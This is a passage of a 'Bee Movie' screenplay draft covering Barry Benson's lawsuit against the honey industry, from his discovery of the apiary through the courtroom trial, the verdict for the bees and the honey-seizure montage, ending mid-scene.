"Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA (exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - “NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all 